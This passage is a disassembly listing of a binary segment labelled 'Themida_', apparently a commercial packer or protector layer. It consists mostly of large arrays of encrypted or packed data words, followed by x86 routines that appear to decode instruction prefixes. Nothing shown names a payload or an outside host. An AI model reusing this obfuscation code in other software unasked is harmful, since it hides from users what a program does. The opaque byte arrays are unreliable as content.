9AE3C885h, 4B65A175h, 961EE6BCh dd 0D8BA044Ah, 5490F690h, 43BF8E66h, 9FDFA501h, 2954DB92h dd 0AA6B08BFh, 3C8E759Ah, 0FD8D3A52h, 188F52B4h, 0C3D0A46h dd 264EF21Dh, 212A8AA1h, 8CBC8D89h, 0DC9DFC2h, 44223920h dd 0B0258745h, 8608AC3Eh, 308AC01Ch, 0F8FD2F6Ah, 996722FCh dd 308AC01Ch, 0F48C1856h, 9F67A273h, 0F0E54775h, 9F675A37h dd 11457075h, 0E957CA7Dh, 68F68F6Ch, 7D11F329h, 1498D13h dd 0B1C50187h, 19C1AE19h, 0A62473D2h, 16A826E2h, 0D6A720B4h dd 3373D219h, 6C6A24A9h, 0E91EFF2Dh, 39046F18h, 105F3AB3h dd 0B1F20000h, 257D1B57h, 0A1E3EDEDh, 346B7565h, 0D7D2FCFCh dd 2F484575h, 561AC2CFh, 0DC9C4C48h, 0A129F3B2h, 35A56127h dd 0AD4AFD95h, 4873D7FAh, 0A77E429h, 0D1D4BAD2h, 17E4630Bh dd 0F2759A7Fh, 0DBAB6568h, 5F16EEB5h, 8667693Fh, 0A62384EDh dd 1FFCFB69h, 0FA759AFCh, 0CAC88660h, 985A10D4h, 0CFD5724Ch dd 7B3D630Bh, 6AAAF1AFh, 182AA963h, 0B298704Ah, 141h, 2AA08145h dd 83ECEE45h, 0FAA02EA7h, 8C12B03Eh, 56610048h, 0A9DD8A22h dd 448F529Ch, 520FF4FAh, 1573D29Ch, 5D69FB35h, 369E3826h dd 0F9F72D68h, 34D7EEE7h, 0C1000000h, 420BD7DFh, 0D6590F5h dd 49135989h, 200C7EFh, 0A78F5262h, 2AA07C39h, 518B0A90h dd 0E9E7411Bh, 0D2725932h, 3E1E73h, 38C44062h, 0B0EA9Eh dd 818D0000h, 0D44A921Fh, 5F7F76D2h, 0C1CF8D49h, 0D87004C0h dd 9A7F8E6Fh, 9CD16B75h, 6FEA422h, 0B517459Fh, 0A1E7E5EBh dd 238D5D59h, 883FD7AFh, 759A7FEBh, 0A3EEBC0Eh, 29B37479h dd 0D8759A7Bh, 0AB4A06C2h, 6FD8FCA0h, 8F54DA43h, 0CD8A10BEh dd 366883A6h, 511FF9CEh, 0B87502C5h, 0CE9073D0h, 0A4EA826Ch dd 429A1BE5h, 0A3EEE8E0h, 0B95D9C79h, 3BB1046Dh, 0F08B2h dd 38E8AB00h, 0B67216B0h, 0CE1A9C3Ah, 459F0482h, 0DE0E8B15h dd 6686E792h, 0EFE9E13Bh, 69777BA7h, 0DEF8F02Ch, 7C4C0CC8h dd 0F9029354h, 9AE773D7h, 0D20A7755h, 6EAAF09Eh, 1177CD62h dd 0A3F9E7D5h, 376D6B67h, 0D38FDF3h, 5CAD4569h, 0C5A9E407h dd 0C588FBh, 8F52A542h, 2495C567h, 78Fh, 0D20A77F3h, 5C322BAh dd 2853871Fh, 37F081C6h, 74F3759Ah, 759A37A7h, 0A832F842h dd 0D9B26925h, 0F3759A37h, 470094C8h, 8F69B9F4h, 7D234B15h dd 0E1EFE327h, 53717FBBh, 10D4CA56h, 4872D7B6h, 0D684046Ah dd 0E60E7h, 50B0F300h, 0EE2A7E18h, 66A2E4E2h, 0FD376C6Ah dd 76D6D3FDh, 0CE2E4F7Ah, 375119C3h, 0B1DF934Fh, 26A028F4h dd 9434A460h, 0F8AA4BFCh, 224F73D7h, 0D20A77EDh, 0D4A522BAh dd 21759A7Fh, 6FF1BF7Bh, 762CAA66h, 89E3CB2h, 646AB6F0h dd 70F2F85Ah, 178D1A14h, 0CAF49FD3h, 609870C9h, 0Dh, 65BBAE17h dd 4736759Ah, 0FFFFFE0Dh, 7FFDAE0Eh, 0ACD7759Ah, 0D863E488h dd 398F69F1h, 8DC3079Bh, 533D5133h, 0E5C7F551h, 17916D1h dd 0C29C73D7h, 8C5DF58Bh, 0C74D5E43h, 9B034A19h, 0F989C105h dd 0BB31ED97h, 7C22AC21h, 836232B8h, 0A4164214h, 811F15h dd 813496C4h, 0ED489C1Dh, 46AA27Ah, 9A972694h, 3D00000Dh dd 0B826AA7Ah, 2EA820E0h, 9630B864h, 1DBB37F1h, 9500489Ch dd 538908E8h, 0D535711Fh, 62BAFBE5h, 0FE3A606Eh, 5C2EAF2h dd 73D7F774h, 77DF1091h, 0F9E7D511h, 0CF6967A3h, 8006A19Fh dd 276E3044h, 9F04F8FDh, 9870C963h, 0DC9h, 0BBAEEC00h dd 36759A65h, 0FFFD5847h, 1F810EFFh, 0D7137797h, 8EB94075h dd 5505C2EAh, 968F524Eh, 4FA849FEh, 0F34D73D2h, 747AC4FAh dd 0D24FD38Fh, 92FC9473h, 25873517h, 0C9E90B0h, 9E38F5F2h dd 22458h, 1F811F00h, 0AE6E4F8Bh, 32B5E2FBh, 9F804508h dd 0E759AD6h, 0B3772D7Dh, 50B913Fh, 9AD6B542h, 9F00FF75h dd 0B29CFF62h, 0EC8062FCh, 1BFD151Dh, 31A43DF5h, 0CC4D867Dh dd 2B70759Ah, 0A4E5E3E9h, 0B0AC6A60h, 6901D57Eh, 29A76327h dd 538F0997h, 3A0A431Dh, 890B9504h, 29711F5Dh, 58460FE9h dd 3ACA8642h, 0CC5425A2h, 2FB1759Ah, 83B7DFA6h, 21D9CFCDh dd 97DBA565h, 19579309h, 9ACC79A2h, 0C0FEDE75h, 1EC6CFD1h dd 0E1660E50h, 759ACC10h, 79626BF5h, 9870764Dh, 188E7h dd 1F818E00h, 9C024B97h, 0E8CC206h, 0A0385C98h, 9A7F5627h dd 0A429B375h, 0B7618E8h, 0EA159CD1h, 88763635h, 414504B6h dd 31452781h, 52A64CB6h, 511FA18Fh, 0D2A631EAh, 58567673h dd 381CB8CAh, 4F129Eh, 81250000h, 349951Fh, 88C61E85h dd 9A615436h, 0BA3CB6Fh, 0A0B19273h, 705E81F7h, 9A28A273h dd 0C1D94775h, 0BCF9A701h, 1D506A60h, 5235BAA8h, 35711F8Fh dd 7BC5E7D5h, 9E564D53h, 0EFA067D7h, 0A873D225h, 0C2FC8EA0h dd 689E3893h, 0CEh, 0D511770Fh, 6CB8F9E7h, 0FE3A606Eh dd 0C2CCD2F0h, 9A7F7405h, 0B3F39175h, 6A17F557h, 0C0A23CB2h dd 0C25314ACh, 88759A7Fh, 39AC3368h, 20BA701Fh, 7D23F3ADh dd 0DFE1EF3Bh, 86B9AAFEh, 0E1D44A59h, 9AFF0424h, 57AFF575h dd 1DD5CD2Dh, 0C1A30D5Fh, 0B9DDE889h, 6E085215h, 6BF58F54h dd 885C5D43h, 2CF8BAE4h, 0BE7A20AEh, 89CCAE30h, 1CC8C9D7h dd 6D6FDCB1h, 7578F604h, 0B5Dh, 6555B7F0h, 0EFE3277Bh dd 777BA7E1h, 0FEF23269h, 470BD1D0h, 0CCCD2D4Ah, 4E365018h dd 0F5B0DE92h, 7F25A32Fh, 0FF9737BBh, 0D7F5AB48h, 0EA234E73h dd 20510A77h, 0A07C395Ch, 0C0384D45h, 45404E66h, 7C1AD69Fh dd 16EEE226h, 0B9EF0988h, 836D7F7Dh, 11776DCAh, 0D2DFC1D5h dd 3010940Ah, 0DDC3C1BDh, 37A57D25h, 3687CB95h, 3D7h, 0B9374F9Eh dd 322F8B89h, 86CFA973h, 4150C6B1h, 0FD6A0236h, 8F69F147h dd 35AC04A6h, 0EF3E560Ah, 0C5A9D357h, 8C30B9Bh, 5458D9CDh dd 0BA2DC38Ah, 891FF704h, 85115FE1h, 98B744A4h, 2CA1870Eh dd 9F92A67Bh, 19B1E175h, 86BC12C8h, 696E18D3h, 759F2888h dd 4A9AD36Dh, 92D4D674h, 27BF9875h, 9F20D3A0h, 0F6943675h dd 46185692h, 316B80Fh, 0AE7F0000h, 759A7FFDh, 9A7F07E9h dd 0B2E61175h, 0AB65CB1Ah, 0C5CE97h, 59A426E5h, 5064B231h dd 9A3E0697h, 1459E375h, 3BD3CB7Ch, 0D4768F52h, 6F3AB209h dd 27964404h, 0A45h, 7D7DAFE8h, 0C78B4F53h, 4F03DFD9h dd 0D69A5A41h, 5F13C9C8h, 0E4A54522h, 662EA820h, 0EDA836BAh dd 871DBB37h, 17BF0F43h, 0D7F4C350h, 925B2673h, 0E7D51177h dd 274FF31Eh, 2CD5BE8Fh, 0AB0D061Bh, 0B9CA6522h, 912B8F69h dd 92D58D9h, 0C7B7E265h, 34968924h, 6AB6FEA0h, 36B4A166h dd 0E0EE759Ah, 0ECA836BAh, 36F2A8F6h, 0D0A126B8h, 35759A36h dd 6BAFF5ABh, 0F3F95B65h, 0EF3B7D23h, 30B7DFE1h, 759A3663h dd 2DB12486h, 783DB377h, 9764E34Dh, 72759A36h, 957732E8h dd 7224A3CBh, 5F8F5206h, 4A14F0B1h, 6F181EEBh, 0B33AB004h dd 995h, 2DAD7F38h, 0B73BFFA3h, 3FB36F29h, 86CA0A91h, 0F439918h dd 0B4F51592h, 367E1850h, 0BDF8E6EAh, 376D6B67h, 0C7EFFFF3h dd 0D7F37300h, 22EB9673h, 4B971F81h, 4B32BB05h, 0CF781C40h dd 8F69F18Ch, 0E37B13ADh, 0D7019764h, 0E5E87273h, 0C505810Fh dd 5F8B0B95h, 9B1B8511h, 0E1BF014Fh, 697379B9h, 0F2729D64h dd 5A646AAEh, 0DC13D4F8h dd 3D89248Fh, 3D482DA3h, 772B7519h, 9C4B5830h, 0BC1E3593h dd 5329AC3Eh, 52C40A94h, 8855F78Fh, 46FC505h, 0FE4A63E9h dd 91000008h, 1CBA3616h, 820C4C84h, 0A94C400h, 711F5395h dd 0E9E4D430h, 0FF2D6C8Ch, 71D1D5F3h, 8E565F79h, 1ADEC4C2h dd 0E95E7656h, 73D7F308h, 774B8CEDh, 0F9E7D511h, 7FC8E4A3h dd 12BA9F04h, 1D9C3AB0h, 9D0381CFh, 0A9B51359h, 0E2FACC97h dd 44FC9D4Ah, 4719759Ah, 67003E0Eh, 0CFD1E521h, 0E501EC6h dd 0FC0E9547h, 569870FEh, 128h, 0D5117761h, 0B43E0FE7h dd 12797C21h, 8B11BD30h, 5762034Fh, 6C917EE9h, 0EA74759Ah dd 87E36408h, 8C8F527Eh, 8468202h, 9BD10B8Ah, 0A90667C1h dd 742DE78Dh, 0BD5C98Ch, 15CD9E45h, 428A73D2h, 0AFACDE6Ch dd 31069E38h, 31000000h, 917EE981h, 74759A7Fh, 0C5E78BEAh dd 52FC1F29h, 3569941Bh, 9A3826A1h, 0C39D8F52h, 8A05D68Dh dd 1A4273D2h, 3C648624h, 9FCE9E38h, 0E9000000h, 917EE981h dd 74759A7Fh, 0A5FBE3EAh, 7F5F3CABh, 20BA759Ah, 3ED3F7Ah dd 0A6424F4Dh, 145A24E0h, 0E6D41076h, 465AA2F8h, 3953A382h dd 8D3BC0ADh, 60F8AF23h, 27759A62h, 0EAE33F79h, 767ABEE4h dd 0B4EC848Fh, 3F995B40h, 2C8E395Dh, 0D18F54F3h, 7839670Fh dd 0E7A22CACh, 0F2DF5825h, 0B937046Dh, 7B034h, 80404300h dd 1EDACEC8h, 96723452h, 2DE7BCDAh, 0A66623ADh, 1EFEBF2Ah dd 87014993h, 18FC31Fh, 76105884h, 0C4E4D410h, 0F15A3BACh dd 0F2BF73D7h, 0D20A773Dh, 6EAAF09Eh, 1177CD62h, 0A3F9E7D5h dd 50426B67h, 15000000h, 4FBA081h, 67DE0A3Dh, 3636D16Eh dd 1D9DDBD7h, 1045D5E8h, 923A5E69h, 69211CD5h, 2BCE1F8Fh dd 577BE568h, 0F1336836h, 5478C2FCh, 0DD90544Ah, 2828BC9Bh dd 0ECE13B66h, 3B7AFA05h, 77D1EBE1h, 6C52E85Fh, 15B78924h dd 48EC5Dh, 90BB0000h, 59D3165h, 9A7FB542h, 0C78E5075h dd 61C8B631h, 932D8F52h, 81B666DDh, 9C7C73D3h, 0A3D7E2A2h dd 80AE5C0Bh, 5CAD76E5h, 0A68E9222h, 0F3B36984h, 4E075917h dd 7E68E50h, 0E9AD8C8Bh, 7F31A4ADh, 0D87Eh, 65900900h dd 172A9D31h, 0F68F69F1h, 0AEC61754h, 7C0586Ch, 73D70176h dd 0A484C993h, 0A33A0B8Ah, 0ABD97560h, 0BE08E95Eh, 53ED73D7h dd 0ABD7FCF1h, 19E3D08h, 89h, 0FB659034h, 9A7FAF4Ch, 16F04A75h dd 0D711AF7Eh, 9BB30D3h, 13BAC44h, 0E08F69C8h, 0A430615Eh dd 9A280666h, 9E3D8E68h, 1FFC6B03h, 0FA73D734h, 52566D60h dd 3E000000h, 345021A6h, 2BB573D7h, 1F8195A2h, 0D531738Bh dd 757BC5E7h, 0F784436Bh, 12759A7Fh, 537E0548h, 6BC0872Fh dd 688F69F1h, 2DA07C26h, 0C4D02FB1h, 42D3942Ch, 0A773D701h dd 1B15E05h, 8A5473D7h, 985A6AC3h, 0D6D0724Ch, 7C9E3DBBh dd 19h, 5655AE3Bh, 0EDA8759Ah, 4527B937h, 0FFFEEAE8h, 0F4BEE0FFh dd 5518A228h, 316590E0h, 0F0C72A9Dh, 84268F69h, 38E4AEF0h dd 9465E2B2h, 7173D700h, 89F0DEFh, 0B53882C8h, 6D113CF9h dd 8EA89E49h, 0CF4D8924h, 30BE18D8h, 6A2A4A75h, 0CCAE30BEh dd 0F02C3FA8h, 0B08D8F69h, 4DC034ECh, 545ECC9Bh, 1EF8C288h dd 0E4829776h, 7B9E81B4h, 667798Ah, 0DB92E31Fh, 0BFE3AD45h dd 626B757Bh, 0ECEC247Ch, 40C5FA05h, 24265EEAh, 2607AF09h dd 8EEC4E14h, 3FDC8B4Ah, 0DA73D7F6h, 592FA600h, 24798BEEh dd 0B7EC6A89h, 836D7F7Dh, 24E0A5EBh, 0AE4FF890h, 4B759A89h dd 7000FCF1h, 9353791h, 0A82D0168h, 0B0906FFFh, 0C4DA1Dh dd 9C584E48h, 39AE46DEh, 0EDBC8058h, 3C7D23BDh, 0F31EE5E8h dd 2379274Fh, 0AD0FDBDBh, 47975028h, 441774B9h, 0A95A3BACh dd 2DBFEBF4h, 269436A8h, 0E780BE8Eh, 6B7565A1h, 0DEFCF22Ah dd 38660ECAh, 1EFF687Eh, 0FBEBF4A9h, 3DC98761h, 0F4A9ED8Ah dd 0D4B608EBh, 0E5AF2DE1h, 9315B339h, 1A9B39B7h, 0A1328CC2h dd 0A9FE89A7h, 0FD5F616Fh, 4D4C62E2h, 0D7854143h, 0B26A17F5h dd 12933Bh, 0F4A9B647h, 2F8953EBh, 42821987h, 413BB20Ch dd 0C8865E47h, 0C11D6D7Bh, 4D5D58EFh, 0F4A9FD9Ah, 0E44618EBh dd 18C4CED0h, 90549B55h, 1CBA3066h, 0DB2A4286h, 51613D4Fh dd 0EDA1145Eh, 90013F2Fh, 0CF5D870Eh, 0D1581DD9h, 0D38F70A7h dd 26C4FE1h, 8FAB623h, 8A54CDA5h, 0D1962EC6h, 759A5B40h dd 0DB3A1BA5h, 0DCC01D4Ah, 2066686Dh, 6A3EDED8h, 8ECCAEh dd 48125898h, 0EE3F0CEEh, 0FC3212D7h, 0DDF1356Bh, 0A22BEFB3h dd 0D0108816h, 0BCDD2BCh, 0BC727B45h, 9AAC36C7h, 19DDC375h dd 94703553h, 80BE8E26h, 1D1373DBh, 9263E47Ch, 91759AACh dd 9AAC39D6h, 8C02DC75h, 8F13BB32h, 1C99074Bh, 79D58AC0h dd 39759AACh, 9D4D4957h, 913608D8h, 0DF80C814h, 759A81C2h dd 0B5F6833h, 68369870h, 0E18E3929h, 4759AB9h, 0F492D8BAh dd 471957B5h, 0A17D27E5h, 0FF31952Ch, 2EFFFFFFh, 0B940C380h dd 6322F84Fh, 24A933B9h, 0D5117713h, 61A5FBE5h, 0E2267C1Ah dd 43A0A9Dh, 9F93D63h, 429A0789h, 4F0DC7DCh, 5753787Dh dd 0FD9870C9h, 5Bh, 0D6590B8h, 0DEC2588Ch, 0A80A541Ah dd 0F4082504h, 463BCBC6h, 78CE790Fh, 9D8F6943h, 836DA9FFh dd 6FD928BCh, 9A8541BBh, 6D78D598h, 6B77D66Eh, 0AF29ADE7h dd 0DDD37164h, 0B334A2ADh, 73D739E2h, 0B3DBA507h, 24B73E34h dd 0B101DB89h, 54F8h, 4171D000h, 9A86A771h, 9055E2EBh dd 473AB265h, 416330B7h, 2486759Ah, 4ECA3FD9h, 8AD49A46h dd 0A1264E28h, 8F69D989h, 0BCEDD26Ch, 0DAD43826h, 0C4789FAAh dd 0C37B2899h, 56385C3Eh, 10CCC92Fh, 0FE693FB6h, 89241848h dd 9F15FA4Bh, 0F6E2BB5Bh, 857DCFFFh, 0D5117752h, 67A3F9E7h dd 724A9B6Bh, 0C0DA687h, 5B660D40h, 44BE8F27h, 8866AC8Eh dd 1BCCA429h, 8F5260EFh, 4D32B802h, 73D26090h, 2BB9F7D7h dd 9E38DA1Fh, 3DB5h, 65904000h, 3C2A9D31h, 998F5262h, 616FBBFBh dd 8FFFD5Fh, 73D27257h, 971E8010h, 38BD0F4Dh, 0EF871628h dd 0D2729B78h, 5A6F7E73h, 481B9C51h, 18813496h, 9E38B7EEh dd 0DC44h, 11777300h, 770FE7D5h, 34B36F29h, 759A7F67h dd 29B53882h, 174D3F68h, 275562AFh, 13891745h, 0C9D1BFD7h dd 0C8A4409h, 0A91E5296h, 759A2703h, 6068ACF2h, 0F6E42066h dd 2D9A040Fh, 759A274Ch, 21B517A9h, 5217FCA6h, 430FD18Fh dd 7CA8EDB3h, 0EF87B279h, 925579A5h, 73D20805h, 0D8FC5EE0h dd 0B3495E40h, 1AA42AF2h, 456E5DB8h, 5D2CDA40h, 0F805AF18h dd 5AE4891Ch, 0FF2D6C32h, 267D23F3h, 97DEE0EEh, 0F3528AF7h dd 225F924h, 0F67974FAh, 99000001h, 482CE1Eh, 8A14449Ch dd 0F29CDC08h, 79676BADh, 0F1ECEC38h, 0F75554B4h, 9D9DDFBh dd 865E4741h, 12D6CCCAh, 0E1660E5Eh, 73D7EC10h, 7743B4F5h dd 69ED20Ah, 84411E98h, 0C8C11AB0h, 0FAC48A54h, 2FA66224h dd 0BD3DF9AFh, 316590BAh, 623C2A9Dh, 0C7998F52h, 7279D289h dd 1E3E73D2h, 0C4608220h, 5CA9E38h, 0ED000001h, 917EE981h dd 74759A7Fh, 0A5FBE3EAh, 41434D61h, 0C0F5D785h, 1101800Eh dd 9AD9058Fh, 759A7FFDh, 0ED3F7A18h, 9173DDEFh, 7B5C64DBh dd 0F7AD759Ah, 0A34A9B33h, 6CF05563h, 0BC54084Dh, 7134CCD2h dd 3983C9ABh, 8C742AB4h, 0CE90DE0Ah, 7C876E6Ch, 0A8EAB4D8h dd 696C7E7Ch, 2A72D493h, 8D5F8F52h, 27E3A7E9h dd 0D3F294A9h, 62CE2FCEh, 9213CD80h, 0F59B3367h, 0D5CA50B4h dd 4A035D13h, 3ACC35B2h, 0D4E9891Ch, 401969A7h, 630BD588h dd 20A87C3Dh, 0A1474E50h, 15B725E5h, 32BB054Bh, 0B5BCEDACh dd 5160674Bh, 0DDF65731h, 0F5022526h, 0DB7647h, 357E0000h dd 0A1F9E7EBh, 256F6961h, 0B0D7F1F9h, 535E7870h, 0ABD4C189h dd 0D29E4E4Bh, 5810F0B4h, 2DAD773Eh, 0B139FDA3h, 29C68129h dd 0CC73D7EAh, 0A7768ADh, 99D32751h, 66C0456Dh, 6031B64Eh dd 85759A30h, 0E7419D07h, 0E9432EEh, 0A4FCA2CAh, 80B7696Ch dd 4F8B1F81h, 0C6029806h, 50940A88h, 9F068818h, 0D9B63145h dd 3C759A7Fh, 0FDA32BA2h, 4AFD9539h, 759A7FADh, 0DFFF648h dd 0A1E51D83h, 7F5F3CABh, 20BA759Ah, 0D4B60846h, 28760EE6h dd 0A03AB070h, 9A7F5223h, 7715B775h, 27E0D511h, 8CEDA661h dd 0D5724C90h, 2D0688CFh, 6AB4A70Ah, 0C0C6C088h, 0C5A77D38h dd 52920997h, 9830481Ch, 4BCE4E2Fh, 8B11AB7Dh, 4997DE0Eh dd 0ECAD077h, 9A5E4442h, 399D4h, 8BAC0000h, 0DC0C77BCh dd 6EAAF09Eh, 0F9236260h, 71D1D5F3h, 885C5D7Bh, 7C5C4C2h dd 9C544B49h, 2AF6B0DEh, 0A66226A4h, 89535B28h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 242C895Ch, 5E08950h, 4 dd 42Dh, 24048700h, 2404895Ch, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 0B951243Ch, 297403CEh, 76A2F181h dd 0E1C1115Ah, 29C18108h, 51D7D814h, 39243481h, 58300C0Eh dd 0C0E3935h, 0EC835930h, 24248904h, 4240481h, 5F000000h dd 9968h, 24048900h, 0C6242C81h, 8F46A571h, 47810847h dd 0A571C608h, 2434FF46h, 4C4815Fh, 0FF000000h, 81582434h dd 4C4h, 0B214E900h, 0A359FFFBh, 4CBEE58Ch, 0BA17698Fh dd 4D9609B8h, 0FFC50306h, 1992DEE0h, 57A0B327h, 4BDFAD5Fh dd 4C66464Fh, 0D9115A35h, 0D7525543h, 18EDF525h, 0A2DB2300h dd 0D1985A62h, 15878023h, 9C962F66h, 0AA96F056h, 0B58D8D4Bh dd 6A064D97h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0C1C6C356h, 949989FAh, 1668AC24h dd 58D89F5h, 89064814h, 482FD1B5h, 2585C706h, 7C064830h dd 6A000064h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 4DFAC351h, 95893B82h, 6480EBDh dd 800Fh, 85C70000h, 6482AD9h, 0 dd 1699950Bh, 0B5FF0648h, 6481221h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 90C35646h, 65EB544Fh, 0C079C972h dd 68F0Fh, 0BD090000h, 6480065h, 0E7195FFh, 0C7B80648h dd 6A1AFE80h, 2D95FF00h, 8B064809h, 0E3AEBC0h, 62020000h dd 0AFF4C5F6h, 0EE5CB9D5h, 0B9E89CDAh, 1E4BE969h, 8E93BD98h dd 30F667DCh, 3F43CD8Ah, 0CAABDA27h, 0E5CB4FEDh, 3B0884C3h dd 835E7F35h, 6ADED69Eh, 0B0D89347h, 688D8D8Eh, 66064D98h dd 8D89FB8Bh, 6481405h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0DAC35242h, 2A86042Bh, 0C788F5B8h, 48302585h dd 5E1406h, 0C766B300h, 482AD985h, 6, 2870F00h, 8B000000h dd 21B5FFF1h, 1064812h, 4806219Dh, 7195FF06h, 0BF06480Eh dd 46EE4A70h, 4C99D8Bh, 6A0648h, 92D95FFh, 0C08B0648h dd 332E3AEBh, 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h dd 4421D9Fh, 0EAE8577Fh, 385A2BF0h, 9EB62253h, 7F6E99D3h dd 0CEC791h, 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh dd 997D8D8Dh, 0D381064Dh, 1AABB59Ch, 14058D89h, 0DFB60648h dd 0EE8h, 0BE276300h, 212EAB9Eh, 6417038Ch, 0F20AF19h dd 80h, 85C75B00h, 6483025h, 5A74h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 3BC35343h, 2E8BB10Fh, 4623C141h dd 61F9F081h, 0B70F7A7Ah, 0D985C7C1h, 6482Ah, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0A668C350h, 66D2FF42h, 0F2BF0F4Dh, 27C9BD89h dd 0B5FF0648h, 6480C99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 85C35545h, 958BFA37h, 64823EDh, 0E7195FFh dd 81660648h, 6A2470CBh, 2D95FF00h, 8B064809h, 0E95CEBC0h dd 8EF38255h, 646DC87Ch, 7E926CBFh, 1B94D664h, 8F0C9754h dd 2A227F29h, 5548FD3Ch, 0BEE2659Bh, 12958193h, 7CF8BAFEh dd 32BEF332h, 0D22C47EDh, 0E321CF85h, 0DD1EF6ADh, 9D971BF5h dd 0BD0C2D9Bh, 0A117167Fh, 0C7296725h, 0A0187D96h, 8EF69DE8h dd 62F98829h, 0A3C6273Bh, 0E887C613h, 0Ah, 988F15EFh, 0D3427254h dd 0EE8C75Dh, 13000000h, 61F6A694h, 0D337F4EDh, 0EB6F3260h dd 818D8976h, 5E06481Ch, 8E859h, 0E4CE0000h, 395576D0h dd 81667E23h, 5E97C7F3h, 6479C181h, 7E90000h, 28000000h dd 0D8C67AA5h, 0C02B746Dh, 0BAD8D89h, 34FF0648h, 2800F08h dd 8B000000h, 0C3805ADFh, 28C281CDh, 0F4607D9h, 384h, 0DABF0F00h dd 5AEBF281h, 9D891623h, 6481A39h, 0F3E9C281h, 820F5221h dd 3, 89DAB70Fh, 0FF90114h, 688h, 0B9BD8B00h, 81064814h dd 0F8695BE8h, 81FE8B30h, 0F86957C0h, 7E930h, 0CC3E0000h dd 0BABC1859h, 5CF881EEh, 0FFFFF9Ch, 0FFFF9185h, 13E9FFh dd 0CC5E0000h, 0CE3CED79h, 5B2BCFAFh, 8202E09Ah, 0C0589C2Ah dd 12E8A4h, 54B90000h, 80BD1F2Dh, 519AA68h, 6E119693h dd 0EDC05747h, 0B91B50Bh, 29580648h, 480D4985h, 99C08106h dd 60000075h, 52525EB0h, 0BF615E5Eh, 77A793C2h, 8974C781h dd 0B2608858h, 28D9BEB3h, 8B61046Dh, 1A8D0F08h, 0E8000000h dd 0Eh, 0F3A3E6C2h, 0DF77A139h, 2CA0FC0Dh, 9D894E15h, 6481555h dd 0A4F1815Ah, 8104D7F8h, 1F4FEAE9h, 0FBD68120h, 816B0DABh dd 7163D4F1h, 168D0F2Fh, 0E9000000h, 11h, 25A3C06Dh, 6E9796D1h dd 5555BA6Dh, 57D3FCE6h, 0BA66519Ch, 8F1713h, 0E883E6B3h dd 5E804h, 637F0000h, 0E947837Dh, 0Bh, 0BA4332ACh, 27CD26CBh dd 5E1DA3F8h, 7C850F4Fh, 0E9FFFFFFh, 1C8h, 8 dup(418888h) dd 4 dup(0) dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h dd 0 dd 600h, 4444h, 41h, 11111111h, 44444444h, 0C9880299h dd 100203h, 118888h, 88888888h, 11111111h, 1644h, 2 dup(88000000h) dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2 dup(0) aIiiiiiiiaiiiii db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0 aIssi db 'ˆ™™ˆ',8,0 db 2 dup(0), 88h aDdddddddiiiiii db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0 aAs db '€™',0 dd 88998000h, 88888888h, 88888900h, 89998888h, 0 dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h dd 8888888h, 3E362E26h, 67666564h, 0F3F2F0h, 0 dd 0FFFFFFFFh, 4016E6h, 4016FAh, 2 dup(0) dd 3, 14h dup(0) dd 8E000CC2h, 7575h, 1, 11h dup(0) dd 353E9h, 0E85500h, 5D000000h, 9D5EED81h, 0C760064Dh dd 4D9CAB85h, 6, 3E816600h, 850FA166h, 0Fh, 9CAF85C7h dd 6064Dh, 24E90000h, 8D000000h, 4D9CB385h, 858D5006h dd 64D9D03h, 6A5650h, 1DE8h, 10C48300h, 0FF25h, 0AF858900h dd 61064D9Ch, 9CAFB503h, 858B064Dh, 64D9CABh db 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5932A7 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5932B3 ; --------------------------------------------------------------------------- loc_5932A7: ; CODE XREF: Themida_:00593290j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5932B3: ; CODE XREF: Themida_:005932A2j push ebx push esi push edi loc_5932B6: ; CODE XREF: Themida_:0059330Bj ; Themida_:00593327j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5932C9: ; CODE XREF: Themida_:005932F0j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 64D9E15h lea ebp, [ebp+64D9C8Bh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5932F6 inc cl cmp cl, 0Bh jb loc_5932C9 loc_5932F6: ; CODE XREF: Themida_:005932E5j cmp cl, 0Bh jz loc_593353 cmp al, 66h jnz loc_593334 cmp byte ptr [ebp-5], 0 jnz loc_5932B6 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_59332C mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5932B6 ; --------------------------------------------------------------------------- loc_59332C: ; CODE XREF: Themida_:00593319j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_593334: ; CODE XREF: Themida_:00593301j cmp al, 67h jnz loc_5932B6 cmp byte ptr [ebp-6], 0 jnz loc_5932B6 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5932B6 ; --------------------------------------------------------------------------- loc_593353: ; CODE XREF: Themida_:005932F9j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_59337F movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_593384 ; --------------------------------------------------------------------------- loc_59337F: ; 